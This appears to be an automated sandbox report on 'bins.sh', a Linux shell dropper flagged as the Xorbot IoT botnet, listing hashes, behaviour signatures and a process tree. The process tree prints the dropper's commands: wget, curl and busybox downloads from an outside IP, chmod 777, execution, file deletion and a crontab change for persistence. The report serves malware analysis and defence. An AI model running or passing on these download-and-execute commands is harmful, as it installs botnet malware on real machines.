Resubmissions

03/04/2025, 22:32

250403-2fxrbayjy3 10

03/04/2025, 22:30

250403-2fa8bayjx3 10

Analysis

  • max time kernel
    29s
  • max time network
    32s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03/04/2025, 22:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    2d3354e4454c0aa1442c15ae4db570d7

  • SHA1

    fa41bc59a61d70fed29d83a9fadcaf5f29a0306c

  • SHA256

    a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf

  • SHA512

    95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09

  • SSDEEP

    192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1501
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1502
      • /usr/bin/wget
        wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1503
      • /usr/bin/curl
        curl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1507
      • /bin/busybox
        /bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Writes file to tmp directory
        PID:1508
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:1515
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:1517
          • /usr/bin/wget
            wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /usr/bin/curl
            curl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1522
          • /bin/busybox
            /bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Writes file to tmp directory
            PID:1523
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:1524
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:1525
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1528
              • /usr/bin/curl
                curl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /bin/busybox
                /bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:1531
              • /usr/bin/crontab
                crontab -l
                2⤵
                  PID:1535
                • /usr/bin/crontab
                  crontab -
                  2⤵
                  • Creates/modifies Cron job
                  PID:1537
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:1539
                  • /usr/bin/wget
                    wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:1542

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                    Filesize

                    117KB

                    MD5

                    849fa04ef88a8e8de32cb2e8538de5fe

                    SHA1

                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                    SHA256

                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                    SHA512

                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                  • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                    Filesize

                    99KB

                    MD5

                    9438d9bc392bcf300a5583b6df5bc8f6

                    SHA1

                    375a6ae34b516f6f3eeea8030c4084f585017efa

                    SHA256

                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                    SHA512

                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                  • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                    Filesize

                    107KB

                    MD5

                    eb9c3a0de91fcf16ba17cb24608df68c

                    SHA1

                    09d95a7d70d5e115d103be51edff7c498d272fac

                    SHA256

                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                    SHA512

                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                  • /var/spool/cron/crontabs/tmp.6QeEaD

                    Filesize

                    210B

                    MD5

                    6a8fb2e4cb24006dbb7de95c01c00f1e

                    SHA1

                    574803b2d976865f7439fd26fe10ca87b2493c50

                    SHA256

                    ce37864f6c8ef68087db065565dfe4527e48e329392485608695900d80dd0873

                    SHA512

                    6f51ec5d4b180c6f03b909127dfbf2415e8b6e35da2c961e9cfc57a6969d3a57ad699951cad41a5ad41605cccbe18ab1a97d7cd76cb9b2b98b81f8aa1ea7879c